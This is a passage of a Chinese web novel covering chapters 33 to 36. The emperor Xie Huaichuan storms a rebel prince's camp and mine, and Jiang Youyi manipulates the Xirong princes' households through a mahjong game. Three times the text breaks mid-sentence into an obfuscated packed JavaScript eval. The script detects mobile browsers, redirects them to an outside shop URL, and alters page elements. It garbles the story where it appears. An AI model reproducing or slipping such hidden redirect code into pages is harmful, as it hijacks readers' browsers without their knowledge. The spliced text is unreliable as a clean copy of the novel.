别看我,国库空虚,铁矿匮乏,兵部也很久没有大批量更换武器了。”吴进达想换武器的小心思简直写在脸上,他勾勾唇,“不过你要是能把这练兵场的人拿下,收缴的武器战马尽数归镇北军所有。” 镇北大将军秦绍在他父皇在世时就是个固执的中立派,但也正因如此,他才能稳坐镇北大将军之位,北狄人畏惧其威名,这些年只敢小股侵扰,不敢大肆进犯。镇北军也得以休养生息,军队屯田足以养活士兵,并不怎么受朝堂牵制。 若是此次能用这些武器战马让秦绍欠下人情,之后他对上世家时也能更有把握。而且北狄最令人头疼的就是他们的骑兵,这些西戎战马并不比北狄战马逊色,镇北军确实是最合适的去处。 不过…… “他们必定有铁矿和兵器厂,才能让这些士兵都配上这么锋利崭新的武器。对了,他们带上来的那些男人呢?”如果他猜得不错,那些男人定是被抓来挖矿的。 “回主子,跟去的兄弟还没回来。” 挖矿的人是被抓来的,想必把守会比练兵场更严格。 “多派几个人去接应一下。” 许是临近年关,练兵场的人只顾吃喝玩乐,谢怀川和其他人忍饥挨冻到第二天上午,才在他们出操的时候摸清了这里的兵力,约有五千人,虽然看起来就不是精兵强将,但他们每个人手里锋利的武器能为他们增加不少战力,谢怀川并不想跟对方正面冲突,造成不必要的伤亡。 但具体策略,还要等矿场那边的情况出来。他们本就人数少武器差,万一两地距离很近,矿场人支援及时,他们就会面临腹背受敌的情况,更何况对方常年生活在这座山上,他们初来乍到,对这座山并不如对方熟悉,正面冲突十分不利,还是要想个万全之策。 “主子,此处往北确有一座矿山和兵器厂,矿山位置似乎已经到了西戎境内。” 那就是距离此次并不近,不过矿山居然地处西戎:“这山上并无西戎人,矿山怎会是西戎的呢?”不论是幕后人偷占还是与西戎达成了什么交易,这座矿山,他都笑纳了。 “是,是属下口误了。” "兵力如何?" “矿场和兵器厂各两千。” 也就是这座山上有小一万的兵力,谢怀川思考片刻:“先回山洞,再做打算。” 他现在手里只有这两千多人,幕后之人是否有其他底牌还未可知,谋定而后动,他必须把对方了解得清清楚楚,一击必中,才能以绝后患。 毕竟对方不止有私兵在手,朝中还有同其勾结的官员,如临东府都指挥使蒋仁德一流。蒋仁德送给皇兄的那把剑与此处统领所持武器同出一处,他已经确定,此处练兵场的幕后之人跟蒋仁德背后之人必是一伙儿的,甚至就是同一个人。 “主子,密信。” 此时递到谢怀川手中的是两封来自不同地方的密信,一封岳州,一封蜀州,他把两封信同时拆开,信上写着一样的内容。 33. 劫匪 信上书:郡王谢亓蔺意图谋反。 谢怀川看过之后将两封密信扔进山洞的柴堆里烧掉:“除夕亥时准备动手。” 除夕亥时一定是这些人防备最弱的时候,打对方一个措手不及,而且黑暗可以很好的隐藏我方的真实兵力,有效以少胜多,防止对方奋起反攻。 没有人抱怨为何要把进攻的时间定在除夕这天,行军打仗,本就没有节日可言,他们能活一天就能保家卫国一天,他们身后千千万万的家庭才能享受团圆。而山上这些人,就是意图破坏和平的罪魁祸首,剿灭他们,是他们身为士兵的职责。 “先拿下练兵场,更换武器,再去包围矿场和,这些人,改邪归正的收编,不知悔改的就地发配去挖矿。矿场那边先安插两个人打入矿工内部,让他们做好准备,一旦我们发起进攻,就带他们尽快有序撤离。” “是!” 一切准备就绪,只待除夕那天。 除夕毕竟是团圆的节日,他们进攻的时间点在将近子时,吃一顿团圆饭还是有时间的,也能让将士们吃饱喝足去面对敌人,自然,这个喝足喝的可不是酒,而是汤。 戌时初,所有人整装待发,再次摸到练兵场外,此时练兵场里火把通明,玩闹声此起彼伏,显然里面的人还没有意识到危险已经降临,这次连守门士兵和巡逻士兵都没有了,所有人都在屋内喝酒吃肉,好不热闹。 即使这样,外面的人还在等亥时到来,那个时候不止防备心弱,里面的人酒局也即将进行到尾声,醉倒大片,届时不费吹灰之力就能将人俘获。 屋里有两人醉醺醺走出来,径直朝练兵场外面来,埋伏在练兵场周围的人伏下身子,以免被这两人看到坏事。 只见两人摇摇晃晃,调笑着往外走。 “如此大好的日子,只有酒肉没有女人怎么行?要我说早该喊几个女人上来,现在还得老子自己去下面找。” “就是就是,哥几个进这劳什子镇边营不就是图那人说的酒肉女人管够嘛,到头来这酒肉也只有今天有,女人毛也没见着。哎,酒喝太多了,等我去放个水。” 两人原本沿着山路往下走,其中一人突然往路边的树林中走来,这里面可是埋伏着人呢,一旦对方进来,肯定会被发现。 谢怀川打了一个手势,距离两人最近的草丛中同时跳出两个大汉,将两人的嘴捂住,防止两人喊出声惊动里面的人。 “主子,怎么处理?”按照主子之前的吩咐,在保障我方安全的前提下,尽量不伤及对方性命,对方非敌国之人,都是大宁百姓,只是一些听命行事的普通人,只要有悔过之心,就放对方一条生路,不追究其责任。 谢怀川在脖子处比划了一下,只知道贪图享乐玩弄女人之辈,留着没什么用处,杀了便是。 手起刀落,两人停止挣扎,尸体被扔在一边。 亥时一到,两千人训练有素冲入练兵场,屋内已经没有完全清醒的人,有的人倒在桌子上一醉不起,有的人连武器都没有力气拿起,五千人没有一丝反抗之力,轻松被两千人压制。 先前被杀掉的两人此时被拎出来做儆猴的鸡,五千人老老实实被收缴武器,捆在屋内,从发起进攻到五千人被捆住,总共耗时半个时辰,留下五百人看守,剩下一千五百人换上崭新锋利的武器,向北奔驰,此时尚未至子时。 此时的矿场十分安静,矿工安静吃着残羹剩饭冷馒头,等待这两天才混进来的那个男人说的时刻。 看守矿工的士兵十分满意今天矿工的状态,他甩了甩鞭子:“以后都要像这两天一样,老老实实的,别天天想着往外跑,外面有什么好?吃的喝的还没有这里稳定,别不知道知足,再有人不安分,下场就跟他一样!” 鞭子指着的是一个骨瘦嶙峋浑身鞭伤不知死活的人,那个人已经在地上躺了三天了,他们没有药,唯一能做的也只有趁士兵不注意的时候给他喂点汤,能不能活下来只能看他的造化了。不是他们冷漠,只是如果被士兵看到,帮忙的人也少不了一顿鞭打。 士兵看着对他十分畏惧的矿工,勾起嘴角,既然人都老实了,也该轮到他去享用年夜饭了,哼,要不是因为这些人一直不肯听话,他哪用挨到现在才能用饭,还是规矩上少了。 士兵又甩了一鞭子,矿工中有人因为鞭声瑟缩了一下,他满意的哼着小调走远了。 看着人走远,矿工中有一个身影利落地起身,走到地上躺着的那人身边,从怀里掏出一个瓷瓶,不要钱一样撒在那人伤口上,又脱下自己的外袍把人裹起来。 一声鸟叫声响起。 “来,大家跟我走!”那人一把将昏迷不醒的人背在背上,“不要着急,不要出声,我们肯定能出去的。” 另外一人站在一边维持秩序:“你带人走,我断后。” “好。” 矿山这边的士兵比练兵场那边的警觉性要高不少,很快就有人发现矿工出逃,追了上来。 这些矿工长年累月地干活,吃不好穿不暖还时不时挨打,身体十分虚弱,面对身强力壮的士兵自然是跑不过的,矿工们手里没家伙什,一旦被对方追上,免不了一场单方面屠戮。 队尾的暗卫看着逐渐逼近的士兵,拿出胸前的口哨用力一吹,接着双手一甩,几枚暗器以肉眼来不及捕捉的速度射向追兵,精准扎在追兵的喉咙上,一击毙命。 埋伏在另一边的谢怀川听到,大手一挥:“上!”虽然还没到约定好的时间,但百姓的安危更重要。 前有精准的暗器和出逃的矿工,后有不知规模的袭击,追兵犹豫再三,还是先把矿山守住最重要。至于矿工,无论是击退入侵者再去追还是重新下山去绑,都来得及,而一旦矿山失守,那才是什么都没了。 带人追击矿工的领队振臂一呼:“有人袭击矿山,速速回防!” 尽管守卫矿山的士兵与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614418|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练兵场那群酒囊饭袋不一样,但除夕夜突然被袭击,面对的还是身经百战的精兵强将,有没有武器上的差距,这场战斗仍然结束地十分迅速,等兵器厂派兵来支援,等待他们的已经是打扫好战场的镇北军。 新的一天开始,亦是新的一年开始,太阳升起,矿山上的血液还未干涸,谢怀川再次留下五百人看守俘虏,率领剩下的一千人直奔郡王府。 他的好皇叔,好久不见了。 “劫匪,有劫匪,快躲起来!”西戎商人看着骑马从前方山谷冲出来甩着鞭子的一群人,弃马往旁边山上跑,丢失财物事小,丢了性命事大,商队其他人也都逃得七零八散。 江幼宜闻声撩开车帘,眼睛微微眯起,朝身后几名女子道:“快走。” 几人跳下车,也朝旁边的山上跑去,奈何两条腿的速度终归不敌四条腿,几人被对方策马团团围困起来。 一个满头小辫,带着毡帽身着虎皮半袖的男人驱使□□的枣红色大马来到几人身前,江幼宜微微挺身将其他几位女子护在身后。 “你这小妞看起来不像寻常女子,看来老三这次是抢到宝了呀,不过宝物总是无主的,抢到护不住也怪不得别人。”那人一挥手,“把人给我带走!” “等一下,我知道你是谁,我们可以谈个条件。” “哦?知道我的身份还敢跟我谈条件,倒是够胆量,什么条件?想让我送你回大宁?” 江幼宜看看周围,示意对方屏退左右:“事关重大,大王子不会希望被人知道的。” 西戎国大王子鲜于蓟定定看着江幼宜,江幼宜坦然接受对方的注视,片刻后,鲜于蓟挥退其他人,自己下马站到江幼宜面前:“如果你想刷什么花招,劝你省省力气,这里是我的地盘。” 江幼宜毫不畏惧,轻轻勾唇:“大王子难道就甘心把王位拱手与人,自己守着一块封地过一辈子吗?况且,那位上去了,您这片地盘还保得住吗?” “女人,你可知道你在说什么?” “当然,我与众姐妹被三王子劫掠至此,被迫远离家乡,与其有不共戴天之仇,如果大王子愿施以援手,我与诸位姐妹也定会住大王子一臂之力。” “就凭你们几个?” “就凭我们几个,大王子现在不相信我们也没有关系,我们自会证明给大王子看,三王子将我们掳走也是为了收拢权贵,大王子将我们带走,三王子那边就少一份助力,对大王子也是好事一桩,何乐不为呢?” “说得好听,你怎么不提我把你们带走,是正面得罪了老三呢?” “大王子如果怕得罪三王子,今天何必来呢?况且,您跟三王子之间的恩怨也不差这一桩吧。”江幼宜抬头直视大王子,脸上满是从容。 鲜于蓟沉默半晌,突然沉下脸,伸手掐住江幼宜的脖子,只一只手就将人举着脱离地面:“你不是被卖来的,说,你潜入西戎究竟有什么目的!” 34. 麻将 江幼宜的脸由白嫩到涨红,她身后的几位女子快步上前,焦急道:“姑娘!” “我的目的刚刚已经告诉大王子了,就是想救下这些可怜的姑娘,大王子可要想清楚,就这么杀了我,可没有留下我的用处大。” 鲜于蓟松手,江幼宜差点跌倒,被后面的几个女子齐齐扶住。 “哼,你所说的可怜姑娘,不止眼前这几个吧?” “咳咳……大王子英明,我们的对手都是三王子,所谓敌人的敌人就是朋友,你我合作与大王子并无损失,反有助益,这桩交易,我相信大王子不会拒绝。” 鲜于蓟翻身上马,大手一挥,刚刚退走的几人重新策马围上来,鲜于蓟一把将江幼宜抓上马,其他几人如法炮制,徒留空马车留在原地。 西戎商人藏在山上的大石头之后,没能看清劫匪面容,也听不清双方的对话,只能看到江幼宜把人护在身前,劫匪突然对江幼宜痛下杀手,之后又放弃,把所有人掳走。 他惊魂未定,拍了拍自己胸膛,这些人带进来就是祸患,一旦被三王子知道第一个死的就是他,现在人被劫匪抢走刚好能给三王子交差,虽说也会受责罚,但起码能保住性命。还能给大宁那边交差,是劫匪劫走的,可跟他没关系。 他跑下山,驾着空了的马车和少了一大半的人朝王都驶去。 鲜于蓟一行人带着江幼宜和几个姑娘到了大王子的府里:“把这几个人关进这个院子里,没有我的吩咐任何人不得进出。” 角落一人看到院中情景,着急忙慌跑向另一处小院。 江幼宜理了理自己的衣服,对于鲜于蓟要把她们关起来没有表示出特别的反应:“大王子,我们一路舟车劳顿,辛苦大王子派人给我们送些热水和吃食吧。” 一旁的侍女向大王子投去询问的目光。 鲜于蓟不耐烦地摆手:“依她!”随后带着侍卫离开。 看着其他人都离开,几位女子绕着江幼宜围成一圈:“姑娘,你的脖子……要不找他们要点药吧。” 江幼宜原本白皙的脖子上出现青紫的指痕,触目惊心,旁人只看着就感觉很痛,丝毫不敢碰,江幼宜伸手摸了摸,旁人看着倒吸一口凉气,她轻轻摇头:“没事,不疼,可能只是看着吓人罢了。” “王妃,主子吩咐过没有他的允许任何人不得进出。” “哼,我也是你们的主子,让开!” 江幼宜走到院门口:“拜见大王妃。” 美姿容的女子站在院外,上下打量江幼宜:“你就是他要纳的妾?” “大王妃怕是误会了,我们只是大王子救下的可怜人罢了。” 女子这才注意到江幼宜身后还有几位女子:“无缘无故的,他怎么会救这么多女子回家。”那人的性子她还不了解吗,什么时候这么心善了,她可不信。 “大王妃不必防备我们,我们并非西戎人,若有一丝机会回到家乡,我们都会拼尽全力,大王妃真正该防的另有其人。” “你!你怎会知道?”大王妃突然靠近。 “大王妃,您不能进去。”负责看守小院的护卫伸手阻拦。 江幼宜在大王妃发怒前拦住对方,对护卫道:“这位护卫大哥,我们不与你为难,大王妃不进来,我们不出去,我们就站在门口讲话,如此也不算坏了大王子的规矩,烦请您退后几步,我只是跟大王妃说几句话。” 护卫站在一旁,看着分别站在院子内外的两人,有些犹豫不决。 大王妃抱臂站在院外:“怎么,我在这个家是一点话语权都没有了是吗?” “不敢。”总归大王子吩咐的是不允许任何人进出,这没进也没出,也不算违了命令,护卫最终往旁边退了几步。 江幼宜看着护卫走远,朝大王妃微微一笑:“刚刚大王妃的问题,我只能告诉您,若想人不知,除非己莫为。”她凑到大王妃耳边,悄声道,“不过大王妃,一个男人的心若是没在你身上,怎么防都防不住的,不过……” “不过什么?” “不过我可以帮您,只需略施小计。” “他若是对我有情,也不至于冷落我这么长时间,娶我,不过是看中我的家世罢了,你且说说,你要怎么帮我。” 看来这大王妃并不是个究极恋爱脑,江幼宜眼珠一转,计上心来:“如今稳坐妃位的是您,至于他心系的女子,只要大王在一日,大王子就无法得偿所愿,注定是个得不到的人。不过既然是大王子喜欢的人,想必对方定有吸引大王子的地方,知己知彼,方能百战不殆,大王妃不妨办个宴会,也好让我有机会接触对方,看看对方究竟是何处称了大王子的心。” 大王妃思考片刻:“那就依你所言,我会筹办个宴会,到时你以我侍女的身份入场。” “当然没问题,只是大王子如今不允许我出院子,还要大王妃助力了。” “我自会去找他说。” “多谢大王妃。” “姑娘,您是打算利用宴会收集那些女子的下落?” “先收集一点是一点,走吧,我们先吃点东西。” 随后几日,江幼宜跟几位女子安静待在院子里没有出去,大王子和大王妃也没再来过,只大王妃的侍女来给江幼宜送过一瓶伤药。 “姑娘,这是要做什么?”周敛容看着江幼宜细细打磨出来的一个个木方块,好奇问道。 江幼宜拿起打磨好的方块,吹掉细小碎木屑,用刻刀在上面细细雕琢,神秘道:“秘密武器,你们有会的也帮我打磨一下这些木块。” 两日后,大王妃的侍女送来一套女仆的衣服,仅江幼宜被允许出院子,其他几位女子仍被禁足,她换好衣服,拍拍面露担忧的周敛容的手:“不会有事的,放心。” 她拎着一个布包袱,跟随大王妃的侍女向院外走去,包袱中不时传来木块碰撞的清脆声响。 “这是什么?”大王妃看江幼宜拿着一个包袱,问道。 “这是民女送给大王妃的礼物,此物做娱乐之用,大王妃闲暇时可用来打发时间。” “哦?打开瞧瞧。” “大王妃莫怪,时间紧凑,民女只来得及用木块雕刻,若大王妃喜欢,可命手巧的工匠重新打制一副。”说着,江幼宜把包袱放在石桌上,解开,赫然是一副麻将,只不过这里没人认识。 这会儿还不到宴会时间,江幼宜见大王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614419|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃似是十分感兴趣,主动为大王妃介绍起规则。 大王妃越听眼睛越亮,招手唤两位侍女同坐:“来,陪我玩一玩。” 直到有侍女来报,已有宾客至,大王妃才意犹未尽地结束牌局,起身往宴会厅去的身影一顿:“把这东西带上。” 江幼宜将麻将利落装进包袱里,垂首跟上,嘴角勾起一抹微笑。 这次宴会,大王妃为了请到大王侧妃,把二王子妃、三王子妃和一些重臣家眷都请了过来,宴会厅里属实坐了不少人。 江幼宜刚随着大王妃进殿,就见一姿容美艳,着装大胆的女子朝大王妃阴阳怪气:“大王嫂好大的架子,分明是您主办的宴会,却来得如此晚,妹妹我多等会儿倒是没什么,怠慢了姝妃可如何是好?” 大王妃攥紧了手中的帕子,这个老三家的,最知道如何往她心口上戳,她瞪了一眼三王妃,又看一眼安静坐着事不关己的姝妃,歉声道:“是我来迟了些,怠慢了各位,不过是因为我这刚得了一件玩物,新奇地厉害,这才来晚了。” “什么玩物,也让大家伙儿见识见识。” 江幼宜把麻将放在大王妃在的主桌上,只有刚刚开口的夫人和三王妃围上来看。 “我道是什么新奇玩意儿,原来就是些粗制滥造的破木块,大王嫂这爱好真是越来越向百姓靠拢了。”三王妃不屑地把手中的木块丢回桌上。 另一位夫人照旧打起圆场:“我看这木块上刻着条条圈圈的纹路,似有规律,如何玩?” “郑夫人聪慧,这玩物名为麻将,好玩的很,来人,放个桌子在中间,三弟妹,要不要来试试?” “哼,庸俗之物。” “也罢,这麻将需要用脑子,三弟妹不爱玩情有可原,姝妃是远近闻名的才女,玩起来定得心应手,要不要来试试?” 姝妃柔声道:“大王妃盛情难却,莫有不应。” “区区麻将而已,我倒要见识见识有什么厉害的。”三王妃怒气冲冲。 “既有输赢,也该有些彩头才有看头,这麻将乃是我的心头好,不如我就以此麻将为赌注,若我输了,这副麻将就任由处置。” 郑夫人摘下腰间的玉佩:“那我就以这玉佩做彩头吧。” 姝妃褪下手中的玉镯放在桌上,大王妃将目光转向三王妃。 “金银玉饰我不缺,倒缺个粗使丫头,三弟妹不如拿那丫头当彩头如何?” 三王妃顺着大王妃手指的方向看去,是今天自己带来的一个丫鬟,心中冷笑,正不知道怎么把这勾引三王子的贱人处理掉呢:“这有什么,大王嫂想要,尽管拿去就是,不过一个丫头,家里多得是。” 大王妃毕竟比这些人多练了几把手,这一局率先胡牌。 郑夫人娇笑着道:“大王妃厉害,此物虽好玩,我却不擅长,来来来,哪位姐妹想来试一把的,坐我这里吧。” 姝妃的脸色有点难看,她手揉捏眉心,蹙眉道:“我有点头疼,玩不了了,哪位妹妹来替我一下。” “三弟妹还玩吗?”大王妃笑问三王妃。 “玩,怎么不玩!”她转身吩咐侍卫,“你回府里把那几个贱人都给我带来!” 35. 郡王 “大王嫂,我胡了。”二王妃嘴角带着浅笑,将面前的木块轻轻推倒。 “好了,天色也晚了,麻将也输出去了,开宴吧。”大王妃看着三王妃挫败的神情,好心情地勾勾唇,再看看一旁断断续续三局三输,彻底不说话了的姝妃,大王妃连最后一点因为输了麻将牌的不快都消失。 两个死对头都不爽,她就爽了。她挑出从姝妃那里赢来的镯子金钗,随手给了江幼宜:“你做麻将有功,赏你了。” 江幼宜接过赏赐:“多谢大王妃。”无视姝妃投来满含怨恨的目光。 “谁允许你轻举妄动的?”夜间,大王子气势汹汹进了院子。 江幼宜轻轻一笑:“我说过要帮助大王子,山不来就我,我去就山。如今三王子妃将三王子喜欢的美人全处理了,激化他们之间的矛盾,这既能证明我的实力,又帮大王子削弱对方实力,大王子这是生的哪门子气?” 她拿起姝妃褪下的玉镯,挑衅般看向大王子:“还是说,大王子这般怜香惜玉,看不得美人儿伤心?” “哼,我看你分明只是想要三王子身边那几个大宁女子,花言巧语哄骗我的王妃,你真以为我不敢杀你?”大王子再度掐上江幼宜的脖子。 “我看殿下才是真的鬼迷心窍,为了一个女子迷失心智,可笑至极。”大王妃的声音从门外传来。 大王子撒开江幼宜,大王妃进门,挡在江幼宜身前:“若是殿下觊觎大王妃子的消息传出去,殿下还有几分继承大统的机会?” “不传出去难道父王就会传位与我吗?他分明早就打算好了,要将王位传给老三!那些大臣因为受了老三的贿赂,也都替他说话,我还有什么机会!” 三王子与西戎国王一脉相承地好色,那些从大宁买来的女子要么被三王子收入宅中,要么送给了国王和王公大臣,所以西戎国王十分赏识这个识趣又跟他相似的儿子,大有百年之后传位给三王子的趋势。 西戎国王已经成年的三个儿子,分别是不同后妃所生,国王正妃膝下无子,无嫡子,三个儿子都有继位的可能,大王子和三王子素来不合,竞争十分激烈,二王子与世无争,存在感很低,似乎对王位并不感兴趣。 “如果大王在传诏之前驾崩了,您是长子,鹿死谁手也未可知。” “你要我去弑父?那天下百姓和文武百官如何看我?” “我只是建议,做不做由您。”这个大王子,脾气暴躁易怒,既想争位,又狠不下心,如此做派,可当不了赢家。 二王子府中,二王妃将赢来的麻将放在桌上,从中挑出一个,轻轻一掰,木块一分为二,里面掉出一张纸条。 “婉蓉,在大嫂那边玩得可开心?” 女子轻轻回头,朝来人温柔一笑:“殿下,我有个秘密要告诉你。” 第二日,西戎朝中有官员上奏:大王子与姝妃在闺中有旧情,入宫后两人仍牵扯不清。西戎国王大怒,意欲绞死姝妃,将大王子贬为庶民,在朝臣的劝说下,将姝妃打入冷宫,大王子幽禁府中。朝中似乎成了三王子的天下。 大王子府中江幼宜的院子里已经人去院空,只留下一副麻将。 大王妃指使侍女拿走:“走,我们去花园打麻将。” 江幼宜让卜溪风派人先将从三王妃手中赢下来的几位大宁女子送回大宁,自己跟另外几名女子假扮成西戎女子,朝西戎北方去。 相较于被卖到西戎的女子,被救下的只是寥寥无几,如果靠这样的方法救人,怕是她一辈子耗在这里都救不完。老国王和三王子是一路货色,即便是假意合作她都嫌脏,她必须尽快推动西戎的权力更替,换一个能跟她平等合作的当权者上去,这里面,三王子绝不可以。 西戎朝堂上,西戎国王两鬓斑白,用手帕捂着嘴重重咳了两声,许是被宠爱的妃子和儿子气的,自从大王子被幽禁后,国王咳得越来越厉害了。 二王子抬头,眼中满是担忧;三王子脸上表情复杂,似喜似悲;朝臣各个低着头,充耳不闻。 终于,又一声咳嗽之后,老国王的身影倒在王座上,面前的星星点点的血迹。 “父王!”二王子率先惊呼出声,冲上王座。 三王子紧随其后,伸手探了探老国王的鼻息:“叫御医,快叫御医。” 老国王昏迷了,几日未醒,二王子和三王子争先床前尽孝,最终朝中力挺三王子的声音压过二王子,三王子暂代国王监政。 “里面的人听着,你们已经被包围了,速速放下武器,束手就擒!”吴进达骑在马背上,朝着大门紧闭的郡王府喊道。 为了防止郡王收到矿山那边的消息跑路,他们在连夜拿下练兵场和矿山后日夜兼程赶到郡王府,似乎还是慢了一步,郡王府外无一人把守,大门紧闭,府内也悄无声息。 吴进达已经在府门口喊了十几分钟了,里面还是毫无反应,他不禁嘀咕道:“这人不会已经跑路了吧?” 谢怀川策马上前:“撞门。” 士兵合力抬着现做出来的撞木一下一下撞击郡王府的大门,几下之后,府门大开。 只见院子里整齐站着几队持枪士兵,郡王谢亓蔺身着盔甲,立刀在最前方:“何方匪贼,竟然胆敢袭击郡王府,犯上作乱,本王这就把你们全部诛杀!” 门外众人穿着平民衣服,身上带着血迹,仪容不整,气势汹汹,与门内身着盔甲,手持长枪整齐列队的士兵形成鲜明对比,不知情的人路过,乍听郡王言,一定会以为外面的人真是贼匪。 “皇叔,好久不见。” “无耻小儿,还敢攀扯皇亲,今天就是你的死期。”谢亓蔺单手拿起立在地上的大刀,直指谢怀川。 “到底是贼匪袭击郡王府,还是郡王以镇守边关为由私自招兵,勾结外敌,将我大宁女子贩往西戎换取战马,伪装匪寇,将男子抓到矿山挖矿私铸兵器,联合朝廷官员私吞筑堤款,意图谋反,今日之后,自有史书定论。” “哼,多说无益,刀下见真章。”谢亓蔺突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614420|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发难,举着刀直冲谢怀川。练兵场和矿山已经被对方拿下,他做过的事也已被对方知晓,事到如今,自己已无任何退路,只要他不认这是皇帝,只要这个人今天死在这里,这天下就是他的!真真假假,都是胜者说了算。 门内的士兵也尽数冲出来,直到这一刻,双方才真刀真枪地打起来,之前在练兵场和矿山上跟这比起来都是小打小闹。 郡王留在府中的兵力不容小觑,双方打得十分胶着。 谢亓蔺从头到尾目的只有一个,那就是杀了谢怀川。 “皇叔此刻停手,我还能给皇叔一条活路。”谢怀川用剑抵挡住对方的刀。 “你会那么好心?事已至此,今日不是你死就是我活。”谢亓蔺见一刀未中,再度挥刀。 终究是镇北军更胜一筹,天色暗下来时,谢亓蔺见势头不好,拼死刺中谢怀川一刀,自己也被镇北军擒住。 “陛下!” 谢怀川摇摇头,对方那一刀是冲着他胸口去的,他侧身未避开,被伤到了左臂:“把人带进来。” “皇叔,我只问你,为何谋反?” 谢亓蔺被押着跪在地上,闻言哈哈大笑。 “为何谋反?你竟然问我为何谋反?这世上有谁不想当皇帝,你这纨绔都能当得,我如何当不得?同为皇家谢氏子孙,我又比你低到哪里去?凭什么你是皇帝,而我只是个向你俯首称臣的郡王!” “皇叔认为我不配?是,这皇帝合该是大皇兄来当才对,你不配,我也不配。把人带上来。” “夫人?你怎么在这里?我不是让你们走了吗?你快走!你快走啊!” 刚刚还振振有词的谢亓蔺看到镇北军手里的郡王妃,顿时惊慌失措,谢怀川示意镇北军把人放开。 郡王妃走到谢亓蔺面前蹲下:“夫君,我不能看着你一错再错。” “陛下,后院走水了!” 谢亓蔺推了郡王妃一把:“你走,你快走!” 郡王妃轻轻摇头,手臂一挥,谢亓蔺口中顿时溢出血迹,他低头看去,那一双素手将匕首从他腹部拔出,朝自己脖子一抹,温热的鲜血溅在谢亓蔺脸上。 谢亓蔺睁大双眼:“夫人,不要!” 郡王妃手中的匕首落地,身体缓缓倒下,沾满血迹的手抓着谢亓蔺衣摆:“夫君,我们来世再做一对寻常夫妻。” “不要!不要!”谢亓蔺用力挣脱士兵的桎梏,膝行着朝郡王妃爬去,双手捂着她的脖子,还是阻止不了生命的流逝,女人的手无力地垂下。 “啊!夫人!”他拿起匕首,愤恨地看着上首的谢怀川,“谢怀川,哈哈哈哈,你们都得为我夫人陪葬!” “陛下!”吴进达看着状若疯癫的谢亓蔺,挡在谢怀川身前,生怕谢亓蔺突然暴起。 只听一声巨大的爆炸声响起,谢亓蔺疯狂地笑起来,拿着匕首往自己脖子上抹去,脸上挂着满意的笑容,跟郡王妃倒在了一起。 “陛下,快跑,这里埋了火药!” 36. 朝堂 “砰砰砰砰”几声巨响,后院着火的地方炸成一片。 “去灭火的人都撤回来了吗?”谢怀川心头一凛,赶紧问道。 吴进达道:“都撤了,有几个人受了点轻伤,没有大碍。”他看着燃起熊熊大火的郡王府,不由感慨,“郡王也太疯狂了,居然在自己家里埋炸药。” 本以为整座郡王府都要消失在火海里,没想到只有后院响了几声爆炸声,后续再没有动静,只有火还在静静燃烧。 “陛下,这?” “先把火扑灭吧。” 一阵马蹄声逼近,谢怀川回头,几个身着官服的人匆匆赶来,马还没停稳就着急下马,一窝蜂跪在谢怀川面前:“下官救驾来迟,请陛下恕罪。” 谢怀川一一扫过,本地的知州、知县、卫所千户等:“平身吧,郡王谢亓蔺意图谋反,证据确凿,人已畏罪自杀,念其妻有悔过之心,赎罪之举,特恕其子女牢狱之灾,贬为庶民,三代不允许科举。” 郡王府中的火已经被扑灭,爆炸只局限在后院皆因郡王妃庞敏慧背着谢亓蔺将前院的炸药挖出来了,被收敛出来的尸体上,庞敏慧的袍角和指缝还带着泥土。 谢怀川下令,谢亓蔺及其妻尸体不入皇陵,就地安葬,秘不发丧。 眼下郡王已死,这条线上的清算才刚刚开始。从临东府到陇西府,这一路上不知有多少家庭被迫害,而当地的官员要么冷眼旁观毫无作为,要么积极参与牟取重利,一桩桩、一件件,该花在百姓身上的每一分钱,他都不会放过。 “传令锦衣卫指挥使汪霖,彻查郡王谋反案!” “你要与我做交易?”一身着白色圆领袍服的男子端着茶杯,饶有兴趣地看向对面的女子。 “正是。” “这茶产自你们大宁国,据说是上好的明前雪芽,煎茶的水取自天山雪,姑娘不妨尝一尝。” 江幼宜看对方知道她的身份,但对她的提议不接茬,她也不恼,谈判桌上,谁急谁落下风,而面前人显然是西戎皇室最沉得住气的一个人。她端起茶来尝了一口,确实清香,但再多她也品不出来了:“确实是好茶。” “在下久居北洛,不闻外事,倒是不知江大人看上了在下什么?”男子浅笑一声,端得是淡然自若,两袖清风。 “是否真的不闻外事,你我心里都清楚,侯爷。” “我只是不明白,既然江大人已经将朝堂搅得一团乱了,你想成之事,浑水摸鱼也能成,怎得在此关键时候找到我这儿来了?” “自然是因为我要的不是一时成,而是无后顾之忧,我也不与侯爷兜圈子,既然侯爷知道现在朝中已是一滩浑水,我们两人合力,也能助侯爷达成所想,何乐不为?” “江大人的行事风格本侯很是喜欢,能得佳人相助,自是乐意之至,只盼事成之后本侯不要与那二侄子一样,被佳人弃之敝履。” 